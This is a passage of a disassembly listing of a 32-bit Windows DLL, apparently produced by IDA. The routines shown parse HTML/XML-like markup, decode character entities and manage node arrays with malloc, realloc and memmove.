		jz	short loc_10018DB5
		dec	ecx
		jz	short loc_10018DAF
		dec	ecx
		jnz	short loc_10018DC1
		mov	[esi], al
		inc	esi
		inc	edi


loc_10018DAF:				; CODE XREF: sub_10018D54+52j
		mov	al, [edi]
		mov	[esi], al
		inc	esi
		inc	edi


loc_10018DB5:				; CODE XREF: sub_10018D54+4Fj
		mov	al, [edi]
		mov	[esi], al
		inc	esi
		inc	edi


loc_10018DBB:				; CODE XREF: sub_10018D54+4Cj
		mov	al, [edi]
		mov	[esi], al
		inc	esi


loc_10018DC0:				; CODE XREF: sub_10018D54+3Cj
		inc	edi


loc_10018DC1:				; CODE XREF: sub_10018D54+55j
		mov	al, [edi]
		test	al, al
		jnz	short loc_10018D69
		pop	ebx


loc_10018DC8:				; CODE XREF: sub_10018D54+12j
		and	byte ptr [esi],	0
		mov	eax, [ebp+Dest]
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_10018D54	endp


; =============== S U B	R O U T	I N E =======================================



sub_10018DD2	proc near		; CODE XREF: sub_1001A22D+F4p
					; sub_1001A22D+2F0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax


loc_10018DD9:				; CODE XREF: sub_10018DD2+2Bj
					; sub_10018DD2+3Ej
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_10018E12
		cmp	cl, byte_10023F40
		mov	edx, offset off_10023F38
		jz	short loc_10018DF9


loc_10018DEC:				; CODE XREF: sub_10018DD2+25j
		add	edx, 0Ch
		cmp	dword ptr [edx], 0
		jz	short loc_10018DFF
		cmp	cl, [edx+8]
		jnz	short loc_10018DEC


loc_10018DF9:				; CODE XREF: sub_10018DD2+18j
		add	eax, [edx+4]
		inc	esi
		jmp	short loc_10018DD9
; ---------------------------------------------------------------------------


loc_10018DFF:				; CODE XREF: sub_10018DD2+20j
		mov	edx, off_10023F80
		movzx	ecx, cl
		movsx	ecx, byte ptr [ecx+edx]
		add	eax, ecx
		add	esi, ecx
		jmp	short loc_10018DD9
; ---------------------------------------------------------------------------


loc_10018E12:				; CODE XREF: sub_10018DD2+Bj
		pop	esi
		retn
sub_10018DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10018E14	proc near		; CODE XREF: sub_1000103A+8p
					; sub_1000103A+12p
		jmp	$+5
sub_10018E14	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_10018E19	proc near
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_10018E2A
		push	eax		; Memory
		call	ds:free	; free
		pop	ecx


loc_10018E2A:				; CODE XREF: sub_10018E19+7j
		and	dword ptr [esi], 0
		and	dword ptr [esi+4], 0
		pop	esi
		retn
sub_10018E19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10018E33(void	*Memory, int, int)

sub_10018E33	proc near		; CODE XREF: sub_1001967C+65p
					; sub_10019709+232p

var_4		= dword	ptr -4
Memory		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+Memory]
		push	edi
		test	esi, esi
		jz	loc_1001905C
		and	[ebp+var_4], 0
		mov	edi, esi


loc_10018E4B:				; CODE XREF: sub_10018E33+D9j
		cmp	[ebp+arg_4], 0
		jle	loc_10018F11
		mov	al, [esi]
		test	al, al
		jz	loc_10018F11
		cmp	al, 26h
		jnz	loc_10018EED
		cmp	[ebp+arg_4], 2
		jle	short loc_10018EAD
		cmp	byte ptr [esi+1], 23h
		jnz	short loc_10018EAD
		sub	[ebp+arg_4], 2
		inc	esi
		inc	esi
		mov	al, [esi]
		cmp	al, 58h
		jz	short loc_10018E83
		cmp	al, 78h
		jnz	short loc_10018E87


loc_10018E83:				; CODE XREF: sub_10018E33+4Aj
		inc	esi
		dec	[ebp+arg_4]


loc_10018E87:				; CODE XREF: sub_10018E33+4Ej
					; sub_10018E33+69j
		mov	al, [esi]
		test	al, al
		jz	short loc_10018E9E
		cmp	al, 3Bh
		jz	short loc_10018E9E
		mov	eax, [ebp+arg_4]
		dec	[ebp+arg_4]
		test	eax, eax
		jle	short loc_10018E9E
		inc	esi
		jmp	short loc_10018E87
; ---------------------------------------------------------------------------


loc_10018E9E:				; CODE XREF: sub_10018E33+58j
					; sub_10018E33+5Cj ...
		cmp	byte ptr [esi],	3Bh
		jnz	loc_10019052
		inc	esi
		dec	[ebp+arg_4]
		jmp	short loc_10018F09
; ---------------------------------------------------------------------------


loc_10018EAD:				; CODE XREF: sub_10018E33+38j
					; sub_10018E33+3Ej
		mov	ebx, offset off_10023F38


loc_10018EB2:				; CODE XREF: sub_10018E33+A5j
		mov	ecx, [ebx+4]
		cmp	[ebp+arg_4], ecx
		jl	short loc_10018ECC
		mov	eax, [ebx]
		push	ecx
		push	eax
		push	esi
		call	ds:_mbsnbicmp	; _mbsnbicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_10018EDA


loc_10018ECC:				; CODE XREF: sub_10018E33+85j
		add	ebx, 0Ch
		cmp	dword ptr [ebx], 0
		jz	loc_10019052
		jmp	short loc_10018EB2
; ---------------------------------------------------------------------------


loc_10018EDA:				; CODE XREF: sub_10018E33+97j
		mov	eax, [ebx+4]
		sub	[ebp+arg_4], eax
		add	esi, eax
		cmp	dword ptr [ebx], 0
		jz	loc_10019052
		jmp	short loc_10018F09
; ---------------------------------------------------------------------------


loc_10018EED:				; CODE XREF: sub_10018E33+2Ej
		mov	ecx, off_10023F80
		movzx	eax, al
		movsx	eax, byte ptr [eax+ecx]
		mov	ecx, [ebp+var_4]
		add	esi, eax
		sub	[ebp+arg_4], eax
		lea	eax, [ecx+eax-1]
		mov	[ebp+var_4], eax


loc_10018F09:				; CODE XREF: sub_10018E33+78j
					; sub_10018E33+B8j
		inc	[ebp+var_4]
		jmp	loc_10018E4B
; ---------------------------------------------------------------------------


loc_10018F11:				; CODE XREF: sub_10018E33+1Cj
					; sub_10018E33+26j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax		; Size
		call	ds:malloc	; malloc
		mov	ebx, eax
		pop	ecx
		mov	[ebp+Memory], ebx


loc_10018F22:				; CODE XREF: sub_10018E33+1BAj
					; sub_10018E33+1CFj ...
		mov	eax, [ebp+var_4]
		dec	[ebp+var_4]
		test	eax, eax
		jle	loc_10019060
		mov	al, [edi]
		cmp	al, 26h
		jnz	loc_10019007
		cmp	byte ptr [edi+1], 23h
		jnz	loc_10018FC6
		inc	edi
		xor	ecx, ecx
		inc	edi
		mov	al, [edi]
		cmp	al, 58h
		jz	short loc_10018F75
		cmp	al, 78h
		jz	short loc_10018F75


loc_10018F52:				; CODE XREF: sub_10018E33+140j
		cmp	al, 3Bh
		jz	short loc_10018FC2
		cmp	al, 30h
		jl	loc_10019048
		cmp	al, 39h
		jg	loc_10019048
		movsx	eax, al
		lea	ecx, [ecx+ecx*4]
		inc	edi
		lea	ecx, [eax+ecx*2-30h]
		mov	al, [edi]
		jmp	short loc_10018F52
; ---------------------------------------------------------------------------


loc_10018F75:				; CODE XREF: sub_10018E33+119j
					; sub_10018E33+11Dj ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, 3Bh
		jz	short loc_10018FC2
		cmp	al, 30h
		jl	short loc_10018F92
		cmp	al, 39h
		jg	short loc_10018F92
		add	ecx, 0FFFFFFFDh
		movsx	eax, al
		shl	ecx, 4
		add	ecx, eax
		jmp	short loc_10018F75
; ---------------------------------------------------------------------------


loc_10018F92:				; CODE XREF: sub_10018E33+14Cj
					; sub_10018E33+150j
		cmp	al, 41h
		jl	short loc_10018FA6
		cmp	al, 46h
		jg	short loc_10018FA6
		movsx	eax, al
		shl	ecx, 4
		lea	ecx, [ecx+eax-37h]
		jmp	short loc_10018F75
; ---------------------------------------------------------------------------


loc_10018FA6:				; CODE XREF: sub_10018E33+161j
					; sub_10018E33+165j
		cmp	al, 61h
		jl	loc_10019048
		cmp	al, 66h
		jg	loc_10019048
		movsx	eax, al
		shl	ecx, 4
		lea	ecx, [ecx+eax-57h]
		jmp	short loc_10018F75
; ---------------------------------------------------------------------------


loc_10018FC2:				; CODE XREF: sub_10018E33+121j
					; sub_10018E33+148j
		mov	[ebx], cl
		jmp	short loc_10019041
; ---------------------------------------------------------------------------


loc_10018FC6:				; CODE XREF: sub_10018E33+10Bj
		push	dword_10023F3C
		mov	esi, offset off_10023F38
		push	off_10023F38


loc_10018FD7:				; CODE XREF: sub_10018E33+1C4j
		push	edi
		call	ds:_mbsnbicmp	; _mbsnbicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_10018FF9
		mov	eax, [esi+0Ch]
		add	esi, 0Ch
		test	eax, eax
		jz	loc_10018F22
		push	dword ptr [esi+4]
		push	eax
		jmp	short loc_10018FD7
; ---------------------------------------------------------------------------


loc_10018FF9:				; CODE XREF: sub_10018E33+1B0j
		mov	al, [esi+8]
		mov	[ebx], al
		inc	ebx
		add	edi, [esi+4]
		jmp	loc_10018F22
; ---------------------------------------------------------------------------


loc_10019007:				; CODE XREF: sub_10018E33+101j
		mov	edx, off_10023F80
		movzx	ecx, al
		movsx	ecx, byte ptr [ecx+edx]
		dec	ecx
		jz	short loc_1001903D
		dec	ecx
		jz	short loc_10019034
		dec	ecx
		jz	short loc_1001902B
		dec	ecx
		jnz	loc_10018F22
		mov	[ebx], al
		inc	ebx
		inc	edi
		dec	[ebp+var_4]


loc_1001902B:				; CODE XREF: sub_10018E33+1E8j
		mov	al, [edi]
		mov	[ebx], al
		inc	ebx
		inc	edi
		dec	[ebp+var_4]


loc_10019034:				; CODE XREF: sub_10018E33+1E5j
		mov	al, [edi]
		mov	[ebx], al
		inc	ebx
		inc	edi
		dec	[ebp+var_4]


loc_1001903D:				; CODE XREF: sub_10018E33+1E2j
		mov	al, [edi]
		mov	[ebx], al


loc_10019041:				; CODE XREF: sub_10018E33+191j
		inc	ebx
		inc	edi
		jmp	loc_10018F22
; ---------------------------------------------------------------------------


loc_10019048:				; CODE XREF: sub_10018E33+125j
					; sub_10018E33+12Dj ...
		push	[ebp+Memory]	; Memory
		call	ds:free	; free
		pop	ecx


loc_10019052:				; CODE XREF: sub_10018E33+6Ej
					; sub_10018E33+9Fj ...
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+10h], 0Eh


loc_1001905C:				; CODE XREF: sub_10018E33+Cj
		xor	eax, eax
		jmp	short loc_10019066
; ---------------------------------------------------------------------------


loc_10019060:				; CODE XREF: sub_10018E33+F7j
		and	byte ptr [ebx],	0
		mov	eax, [ebp+Memory]


loc_10019066:				; CODE XREF: sub_10018E33+22Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10018E33	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_1001906B(char	*Str, int)

sub_1001906B	proc near		; CODE XREF: sub_10019709+169p
					; sub_10019709+3E3p ...

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+Str], 0
		push	esi
		push	edi
		jz	short loc_100190B9
		push	[esp+8+Str]	; Str
		call	strlen	; strlen
		mov	edi, [esp+0Ch+arg_4]
		mov	esi, eax
		push	esi
		push	edi
		push	[esp+14h+Str]
		call	ds:_mbsnbicmp	; _mbsnbicmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_100190B9
		mov	al, [esi+edi]
		cmp	al, 0Ah
		jz	short loc_100190BD
		cmp	al, 20h
		jz	short loc_100190BD
		cmp	al, 9
		jz	short loc_100190BD
		cmp	al, 0Dh
		jz	short loc_100190BD
		cmp	al, 2Fh
		jz	short loc_100190BD
		cmp	al, 3Ch
		jz	short loc_100190BD
		cmp	al, 3Eh
		jz	short loc_100190BD
		cmp	al, 3Dh
		jz	short loc_100190BD


loc_100190B9:				; CODE XREF: sub_1001906B+7j
					; sub_1001906B+29j
		mov	al, 1
		jmp	short loc_100190BF
; ---------------------------------------------------------------------------


loc_100190BD:				; CODE XREF: sub_1001906B+30j
					; sub_1001906B+34j ...
		xor	al, al


loc_100190BF:				; CODE XREF: sub_1001906B+50j
		pop	edi
		pop	esi
		retn
sub_1001906B	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_100190C2(void *Memory)

sub_100190C2	proc near		; CODE XREF: sub_100190FC+60p

Memory		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_100190DA
		push	[esp+4+Memory]	; Memory
		call	ds:free	; free
		pop	ecx
		xor	eax, eax
		jmp	short loc_100190F8
; ---------------------------------------------------------------------------


loc_100190DA:				; CODE XREF: sub_100190C2+7j
		mov	eax, [eax]
		push	edi
		mov	edi, [esp+8+Memory]
		test	eax, eax
		jz	short loc_100190F1
		cmp	edi, eax
		jz	short loc_100190F1
		push	eax		; Memory
		call	ds:free	; free
		pop	ecx


loc_100190F1:				; CODE XREF: sub_100190C2+21j
					; sub_100190C2+25j
		mov	eax, [esi]
		mov	[eax], edi
		mov	eax, edi
		pop	edi


loc_100190F8:				; CODE XREF: sub_100190C2+16j
		pop	esi
		retn	4
sub_100190C2	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_100190FC(int, void *Memory,	char)

sub_100190FC	proc near		; CODE XREF: sub_1001936C+54p
					; sub_10019DAA+47p

arg_0		= dword	ptr  4
Memory		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		push	34h		; Size
		call	ds:malloc	; malloc
		pop	ecx
		mov	[esi], eax
		mov	dword ptr [eax+30h], 1
		mov	ecx, [esi]
		xor	eax, eax
		mov	dl, [esp+4+arg_8]
		mov	[ecx], eax
		mov	ecx, [esi]
		push	[esp+4+Memory]	; Memory
		mov	[ecx+4], eax
		mov	ecx, [esi]
		mov	[ecx+8], eax
		mov	ecx, [esi]
		mov	[ecx+0Ch], eax
		mov	ecx, [esi]
		mov	[ecx+10h], eax
		mov	ecx, [esi]
		mov	[ecx+14h], dl
		mov	ecx, [esi]
		mov	edx, [esp+8+arg_0]
		mov	[ecx+18h], edx
		mov	ecx, [esi]
		mov	[ecx+1Ch], eax
		mov	ecx, [esi]
		mov	[ecx+20h], eax
		mov	ecx, [esi]
		mov	[ecx+24h], eax
		mov	ecx, [esi]
		mov	[ecx+28h], eax
		mov	ecx, [esi]
		mov	[ecx+2Ch], eax
		mov	ecx, esi
		call	sub_100190C2
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_100190FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_10019167	proc near		; CODE XREF: sub_1001A730+60p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_8]
		push	ebx
		push	esi
		mov	esi, [eax+0Ch]
		push	edi
		add	esi, [eax+8]
		add	esi, [eax+4]
		mov	eax, [eax+2Ch]
		test	ecx, ecx
		jge	short loc_10019187
		or	edi, 0FFFFFFFFh
		jmp	short loc_1001919E
; ---------------------------------------------------------------------------


loc_10019187:				; CODE XREF: sub_10019167+19j
		mov	edx, [esp+0Ch+arg_4]
		xor	edi, edi
		lea	ecx, [edx+ecx*4]
		cmp	[eax], ecx
		jz	short loc_1001919E
		mov	edx, eax


loc_10019196:				; CODE XREF: sub_10019167+35j
		add	edx, 4
		inc	edi
		cmp	[edx], ecx
		jnz	short loc_10019196


loc_1001919E:				; CODE XREF: sub_10019167+1Ej
					; sub_10019167+2Bj
		mov	ecx, edi
		lea	ebx, [eax+edi*4]
		imul	ecx, 3FFFFFFFh
		add	ecx, esi
		lea	eax, [eax+edi*4+4]
		shl	ecx, 2
		push	ecx		; Size
		push	eax		; Src
		push	ebx		; Dst
		call	ds:memmove	; memmove
		add	esp, 0Ch
		cmp	edi, esi
		jge	short loc_100191E0
		sub	esi, edi
		mov	eax, ebx
		add	edi, esi


loc_100191C8:				; CODE XREF: sub_10019167+77j
		mov	ecx, [eax]
		mov	edx, ecx
		and	edx, 3
		cmp	edx, [esp+0Ch+arg_4]
		jnz	short loc_100191DA
		add	ecx, 0FFFFFFFCh
		mov	[eax], ecx


loc_100191DA:				; CODE XREF: sub_10019167+6Cj
		add	eax, 4
		dec	esi
		jnz	short loc_100191C8


loc_100191E0:				; CODE XREF: sub_10019167+59j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10019167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100191E6(int, int, int, void *Memory, size_t Size, int)

sub_100191E6	proc near		; CODE XREF: sub_1001936C+34p
					; sub_1001947D+33p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Memory		= dword	ptr  14h
Size		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		push	[ebp+Size]	; Size
		mov	esi, ecx
		lea	eax, [edi+1]
		push	ebx		; int
		push	eax		; int
		mov	[ebp+var_4], esi
		push	[ebp+Memory]	; Memory
		call	sub_1001931B
		mov	[ebp+Memory], eax
		mov	eax, [esi]
		lea	ecx, [ebx+ebx*2]
		push	4		; Size
		mov	esi, [eax+0Ch]
		push	ecx		; int
		add	esi, [eax+8]
		add	esi, [eax+4]
		lea	ecx, [esi+1]
		push	ecx		; int
		push	dword ptr [eax+2Ch] ; Memory
		call	sub_1001931B
		mov	ecx, [ebp+var_4]
		add	esp, 20h
		mov	ecx, [ecx]
		mov	[ecx+2Ch], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax]
		mov	ebx, [ecx]
		mov	eax, [eax+2Ch]
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jl	loc_10019306
		cmp	ebx, esi
		jge	loc_10019306
		mov	edx, ebx
		lea	ecx, [eax+ebx*4]
		imul	edx, 3FFFFFFFh
		add	edx, esi
		lea	eax, [eax+ebx*4+4]
		shl	edx, 2
		push	edx		; Size
		push	ecx		; Src
		push	eax		; Dst
		mov	[ebp+arg_8], ecx
		call	ds:memmove	; memmove
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_14]
		add	esp, 0Ch
		lea	eax, [eax+ebx*4]


loc_1001927F:				; CODE XREF: sub_100191E6+A8j
		mov	edx, [eax]
		and	edx, 3
		cmp	edx, ecx
		jz	short loc_10019290
		inc	ebx
		add	eax, 4
		cmp	ebx, esi
		jl	short loc_1001927F


loc_10019290:				; CODE XREF: sub_100191E6+A0j
		cmp	ebx, esi
		jnz	short loc_100192A4
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		lea	eax, [ecx+edi*4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+esi*4], eax
		jmp	short loc_10019311
; ---------------------------------------------------------------------------


loc_100192A4:				; CODE XREF: sub_100191E6+ACj
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	ecx, [eax+ebx*4]
		lea	eax, [eax+ebx*4]
		inc	ebx
		mov	[edx], ecx
		cmp	ebx, esi
		jg	short loc_100192D7
		mov	ecx, [ebp+arg_0]
		sub	esi, ebx
		inc	esi
		lea	ecx, [ecx+ebx*4]


loc_100192C0:				; CODE XREF: sub_100191E6+EFj
		mov	edx, [ecx]
		mov	ebx, edx
		and	ebx, 3
		cmp	ebx, [ebp+arg_14]
		jnz	short loc_100192D1
		add	edx, 4
		mov	[ecx], edx


loc_100192D1:				; CODE XREF: sub_100191E6+E4j
		add	ecx, 4
		dec	esi
		jnz	short loc_100192C0


loc_100192D7:				; CODE XREF: sub_100191E6+CFj
		mov	eax, [eax]
		mov	ecx, [ebp+arg_4]
		sar	eax, 2
		mov	[ecx], eax
		mov	ecx, eax
		imul	ecx, [ebp+Size]
		add	ecx, [ebp+Memory]
		sub	edi, eax
		imul	edi, [ebp+Size]
		inc	eax
		push	edi		; Size
		imul	eax, [ebp+Size]
		add	eax, [ebp+Memory]
		push	ecx		; Src
		push	eax		; Dst
		call	ds:memmove	; memmove
		add	esp, 0Ch
		jmp	short loc_10019311
; ---------------------------------------------------------------------------


loc_10019306:				; CODE XREF: sub_100191E6+5Fj
					; sub_100191E6+67j
		mov	[ecx], edi
		mov	ecx, [ebp+arg_14]
		lea	ecx, [ecx+edi*4]
		mov	[eax+esi*4], ecx


loc_10019311:				; CODE XREF: sub_100191E6+BCj
					; sub_100191E6+11Ej
		mov	eax, [ebp+Memory]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_100191E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1001931B(void	*Memory, int, int, size_t Size)

sub_1001931B	proc near		; CODE XREF: sub_100191E6+1Dp
					; sub_100191E6+3Dp ...

Memory		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Size		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+Memory]
		test	edi, edi
		jnz	short loc_10019340
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_10019334
		imul	eax, [ebp+Size]
		push	eax
		jmp	short loc_10019337
; ---------------------------------------------------------------------------


loc_10019334:				; CODE XREF: sub_1001931B+10j
		push	[ebp+Size]	; Size


loc_10019337:				; CODE XREF: sub_1001931B+17j
		call	ds:malloc	; malloc
		pop	ecx
		jmp	short loc_10019369
; ---------------------------------------------------------------------------


loc_10019340:				; CODE XREF: sub_1001931B+9j
		mov	ecx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		test	ecx, ecx
		jz	short loc_10019354
		mov	eax, esi
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_10019366


loc_10019354:				; CODE XREF: sub_1001931B+2Ej
		add	esi, ecx
		imul	esi, [ebp+Size]
		push	esi		; NewSize
		push	edi		; Memory
		call	ds:realloc	; realloc
		pop	ecx
		mov	edi, eax
		pop	ecx


loc_10019366:				; CODE XREF: sub_1001931B+37j
		mov	eax, edi
		pop	esi


loc_10019369:				; CODE XREF: sub_1001931B+23j
		pop	edi
		pop	ebp
		retn
sub_1001931B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1001936C(int, int, void *Memory, char, int)

sub_1001936C	proc near		; CODE XREF: sub_10019709+110p
					; sub_10019709+191p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Memory		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h

		mov	eax, offset loc_1001D254
		call	_EH_prolog	; _EH_prolog
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, ecx
		cmp	[ebp+Memory], edi
		mov	[ebp+var_10], edi
		jnz	short loc_1001938C
		push	offset dword_10073FF0
		jmp	short loc_100193F6
; ---------------------------------------------------------------------------


loc_1001938C:				; CODE XREF: sub_1001936C+17j
		mov	eax, [esi]
		push	edi		; int
		push	4		; Size
		mov	ecx, esi
		push	dword ptr [eax+1Ch] ; Memory
		push	dword ptr [eax+4] ; int
		lea	eax, [ebp+arg_10]
		push	eax		; int
		push	[ebp+arg_4]	; int
		call	sub_100191E6
		mov	ecx, [esi]
		push	dword ptr [ebp+arg_C] ;	char
		push	[ebp+Memory]	; Memory
		mov	[ecx+1Ch], eax
		mov	eax, [esi]
		mov	ecx, [ebp+arg_10]
		mov	eax, [eax+1Ch]
		mov	[eax+ecx*4], edi
		push	dword ptr [esi]	; int
		lea	ecx, [ebp+Memory]
		call	sub_100190FC
		mov	ecx, [ebp+arg_10]
		push	eax
		mov	eax, [esi]
		mov	[ebp+var_4], edi
		mov	eax, [eax+1Ch]
		lea	ecx, [eax+ecx*4]
		call	sub_1001A8A2
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+Memory]
		call	sub_1001A728
		mov	eax, [esi]
		inc	dword ptr [eax+4]
		mov	eax, [esi]
		mov	ecx, [ebp+arg_10]
		mov	eax, [eax+1Ch]
		lea	eax, [eax+ecx*4]
		push	eax


loc_100193F6:				; CODE XREF: sub_1001936C+1Ej
		mov	ecx, [ebp+arg_0]
		call	sub_1001A8C7
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	14h
sub_1001936C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10019411(int, void *Memory,	int)

sub_10019411	proc near		; CODE XREF: sub_10019709+255p
					; sub_10019709+287p ...

arg_0		= dword	ptr  8
Memory		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+Memory]
		push	esi
		mov	esi, ecx
		test	ebx, ebx
		jz	short loc_1001943B
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_10019442
		mov	esi, ds:free
		push	ebx		; Memory
		call	esi ; free
		cmp	[ebp+arg_8], 0
		pop	ecx
		jz	short loc_1001943B
		push	[ebp+arg_8]	; Memory
		call	esi ; free
		pop	ecx


loc_1001943B:				; CODE XREF: sub_10019411+Cj
					; sub_10019411+22j
		mov	eax, offset dword_10074008
		jmp	short loc_10019477
; ---------------------------------------------------------------------------


loc_10019442:				; CODE XREF: sub_10019411+12j
		push	edi
		mov	edi, [eax+10h]
		push	8		; Size
		push	[ebp+arg_0]	; int
		lea	ecx, [edi+1]
		push	ecx		; int
		push	dword ptr [eax+28h] ; Memory
		call	sub_1001931B
		mov	ecx, [esi]
		add	esp, 10h
		mov	[ecx+28h], eax
		mov	eax, [esi]
		mov	ecx, [ebp+arg_8]
		mov	eax, [eax+28h]
		mov	[eax+edi*8], ebx
		mov	[eax+edi*8+4], ecx
		mov	esi, [esi]
		lea	eax, [eax+edi*8]
		pop	edi
		inc	dword ptr [esi+10h]


loc_10019477:				; CODE XREF: sub_10019411+2Fj
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_10019411	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1001947D(int, void *Memory,	int)

sub_1001947D	proc near		; CODE XREF: sub_1001967C+7Dp

arg_0		= dword	ptr  4
Memory		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+Memory]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_10019497
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_1001949B
		push	edi		; Memory
		call	ds:free	; free
		pop	ecx


loc_10019497:				; CODE XREF: sub_1001947D+Aj
		xor	eax, eax
		jmp	short loc_100194CD
; ---------------------------------------------------------------------------


loc_1001949B:				; CODE XREF: sub_1001947D+10j
		push	2		; int
		push	4		; Size
		push	dword ptr [eax+20h] ; Memory
		mov	ecx, esi
		push	dword ptr [eax+8] ; int
		lea	eax, [esp+18h+arg_8]
		push	eax		; int
		push	[esp+1Ch+arg_0]	; int
		call	sub_100191E6
		mov	ecx, [esi]
		mov	[ecx+20h], eax
		mov	eax, [esi]
		mov	ecx, [esp+8+arg_8]
		mov	eax, [eax+20h]
		mov	[eax+ecx*4], edi
		mov	esi, [esi]
		mov	eax, edi
		inc	dword ptr [esi+8]


loc_100194CD:				; CODE XREF: sub_1001947D+1Cj
		pop	edi
		pop	esi
		retn	0Ch
sub_1001947D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100194D2(int, void *Memory,	int, int, int)

sub_100194D2	proc near		; CODE XREF: sub_1001954D+90p

arg_0		= dword	ptr  8
Memory		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Memory]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_100194EE
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_100194F5
		push	edi		; Memory
		call	ds:free	; free
		pop	ecx


loc_100194EE:				; CODE XREF: sub_100194D2+Cj
		mov	eax, offset dword_10073FF8
		jmp	short loc_10019547
; ---------------------------------------------------------------------------


loc_100194F5:				; CODE XREF: sub_100194D2+12j
		push	3		; int
		push	0Ch		; Size
		push	dword ptr [eax+24h] ; Memory
		mov	ecx, esi
		push	dword ptr [eax+0Ch] ; int
		lea	eax, [ebp+arg_10]
		push	eax		; int
		push	[ebp+arg_0]	; int
		call	sub_100191E6
		mov	ecx, [esi]
		mov	[ecx+24h], eax
		mov	ecx, [esi]
		mov	eax, [ebp+arg_10]
		mov	ecx, [ecx+24h]
		lea	eax, [eax+eax*2]
		lea	eax, [ecx+eax*4]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		mov	[eax], edi
		jnz	short loc_1001952F
		mov	ecx, off_10023EF0


loc_1001952F:				; CODE XREF: sub_100194D2+55j
		mov	edx, [ebp+arg_C]
		test	edx, edx
		jnz	short loc_1001953C
		mov	edx, off_10023EF8


loc_1001953C:				; CODE XREF: sub_100194D2+62j
		mov	[eax+4], ecx
		mov	[eax+8], edx
		mov	esi, [esi]
		inc	dword ptr [esi+0Ch]


loc_10019547:				; CODE XREF: sub_100194D2+21j
		pop	edi
		pop	esi
		pop	ebp
		retn	14h
sub_100194D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1001954D(size_t Size, int)

sub_1001954D	proc near		; CODE XREF: sub_10019709+AAp

